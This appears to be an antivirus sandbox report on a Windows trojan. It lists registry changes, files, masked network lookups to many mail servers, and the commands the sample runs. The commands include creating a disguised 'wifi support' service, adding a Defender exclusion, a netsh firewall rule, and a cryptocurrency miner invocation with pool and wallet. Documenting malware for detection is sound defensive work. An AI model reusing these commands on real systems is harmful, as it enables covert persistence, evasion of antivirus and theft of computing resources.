Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\mmnrvexh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mmnrvexh] 'ImagePath' = '%WINDIR%\SysWOW64\mmnrvexh\kxnwhuhb.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\mmnrvexh] 'ImagePath' = '%WINDIR%\SysWOW64\mmnrvexh\kxnwhuhb.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mmnrvexh' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\kxnwhuhb.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\kxnwhuhb.exe to %WINDIR%\syswow64\mmnrvexh\kxnwhuhb.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ap#.##-cy.ru:35000/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK us.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK go##le.de
- DNS ASK zm#.nl
- DNS ASK se######il.psis-hosting.nl
- DNS ASK cr####andllc.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK zm##lni.pl
- DNS ASK zm###ni.home.pl
- DNS ASK re##2.com
- DNS ASK zm###owski.com
- DNS ASK mx##.1and1.com
- DNS ASK si###tis.com.ar
- DNS ASK pr####ail1.sion.com
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK my###rpoint.net
- DNS ASK de###n-360.com
- DNS ASK ab###ingham.com
- DNS ASK av#######onsejo-3.planisys.net
- DNS ASK co###jo.org.ar
- DNS ASK mx#####n.unam.edu.ar
- DNS ASK ti###linet.it
- DNS ASK st####snetwork.com
- DNS ASK un####sal-ent.com
- DNS ASK st###usprep.com
- DNS ASK un######lenterprises.biz
- DNS ASK un######lequipment.co.za
- DNS ASK ca##anet.it
- DNS ASK sm#####.panservice.it
- DNS ASK un#####alequipment.net
- DNS ASK cy###market.it
- DNS ASK ma##.#ybermarket.it
- DNS ASK re####oir-prod.fr
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK do##e.edu
- DNS ASK de###n29.co.uk
- DNS ASK un#####alexplorer.com
- DNS ASK go##le.nl
- DNS ASK fc#.#nam.edu.ar
- DNS ASK mx####.carrierzone.com
- DNS ASK 4s###wood.com
- DNS ASK cp##inc.org
- DNS ASK cp#########.mail.protection.outlook.com
- DNS ASK ho##ail.de
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ly##s.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK ap#.#r-cy.ru
- DNS ASK sa####gobain.com
- DNS ASK ra###ntinfo.com
- DNS ASK cp###ltd.com
- DNS ASK hk#.##ahkltd.com
- DNS ASK la######scontemporaines.org
- DNS ASK la##gue.org
- DNS ASK ma####st.1901.net
- DNS ASK mi####akley.com.au
- DNS ASK un###.une.edu.au
- DNS ASK el##is.es
- DNS ASK po#####i.iberlayer.com
- DNS ASK di###anet.it
- DNS ASK co####ormance.com
- DNS ASK cp###cks.com
- DNS ASK cp###ine.org.ar
- DNS ASK av#######consejo-4.planisys.net
- DNS ASK ma###agent.com
- DNS ASK pu######1.mail2world.com
- DNS ASK og##vy.com
- DNS ASK mx#######403.gslb.pphosted.com
- DNS ASK ya##o.es
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK vt.edu
- DNS ASK in####d.smtp.vt.edu
- DNS ASK ma###lionel.com
- DNS ASK mu###viaje.com
- DNS ASK as####.googlemail.com
- DNS ASK hr##el.com
- DNS ASK ma###.adp.com
- DNS ASK nb#.com
- DNS ASK mx.##gitanet.it
- DNS ASK nb#####.##il.protection.outlook.com
- DNS ASK sm##.##cureserver.net
- DNS ASK wo####ircuit.com
- DNS ASK cl####.spamtitan.com
- DNS ASK wh#####rse.vic.gov.au
- DNS ASK ma##.###tehorse.vic.gov.au
- DNS ASK ai#####sportnews.aero
- DNS ASK an###opoulos.gr
- DNS ASK an##one.gr
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK em##l.it
- DNS ASK mx.#mail.it
- DNS ASK pr#.#as.edu.au
- DNS ASK wi#####bucknsw.com.au
- DNS ASK au#######nbound-1.mimecast.com
- DNS ASK li##ro.it
- DNS ASK sm####n.libero.it
- DNS ASK ro###.vic.gov.au
- DNS ASK vr######1.roads.vic.gov.au
- DNS ASK he###tia-pr.com
- DNS ASK bi####canasud.it
- DNS ASK sm####n.virgilio.it
- DNS ASK bh###illing.it
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ya##o.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK al###.com.au
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK ae####-perlites.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK alt1.ASPMX.L.GOOGLE.com
- DNS ASK hk.####n.herominers.com
- DNS ASK ib###pan.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ns#.##cjapan.com
- DNS ASK my####office.co.uk
- DNS ASK sm##.##broadband.co.uk
- DNS ASK vi##ilio.it
- DNS ASK mx.###toscanasud.it
- DNS ASK aspmx.l.google.com
- DNS ASK wi###tream.net
- DNS ASK mx######21601.pphosted.com
- DNS ASK th###.com.au
- DNS ASK sm#####.three.com.au
- DNS ASK ho##ira.com
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK tm##l.com
- DNS ASK de###tte.com
- DNS ASK mx#.###oitte.iphmx.com
- DNS ASK ib###obal.com
- DNS ASK gi#.com.au
- DNS ASK de##zzd.com
- DNS ASK bm##.com
- DNS ASK pr####1.bmts.com
- DNS ASK po####oft.com.au
- DNS ASK bt##.nsw.edu.au
- DNS ASK sp###albolt.com
- DNS ASK ba###net.com
- DNS ASK jj#.com.au
- DNS ASK google.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK ta###twire.com
- DNS ASK mx##.#indstream.net
- DNS ASK in.###.trendmicro.com
- DNS ASK ne####sanford.com
- DNS ASK tp##t.com
- DNS ASK am#.com
- DNS ASK ma###.ams.com
- DNS ASK re##ult.com
- DNS ASK sm##.renault.fr
- DNS ASK sv#.org.au
- DNS ASK ev####igninc.com
- DNS ASK av##tis.com
- DNS ASK hi##s.com
- DNS ASK mx#.##nes.iphmx.com
- DNS ASK ed####.wa.edu.au
- DNS ASK dp#.#ld.gov.au
- DNS ASK wa.###cross.org.au
- DNS ASK mo####int.com.au
- DNS ASK ib###urope.com
- DNS ASK wr####ays.com.au
- DNS ASK ma###.#aint-gobain.com
- DNS ASK in######.hes.trendmicro.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\mmnrvexh\kxnwhuhb.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mmnrvexh\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kxnwhuhb.exe" %WINDIR%\SysWOW64\mmnrvexh\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create mmnrvexh binPath= "%WINDIR%\SysWOW64\mmnrvexh\kxnwhuhb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description mmnrvexh "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start mmnrvexh' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mmnrvexh\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kxnwhuhb.exe" %WINDIR%\SysWOW64\mmnrvexh\
- '%WINDIR%\syswow64\sc.exe' create mmnrvexh binPath= "%WINDIR%\SysWOW64\mmnrvexh\kxnwhuhb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description mmnrvexh "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start mmnrvexh
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k
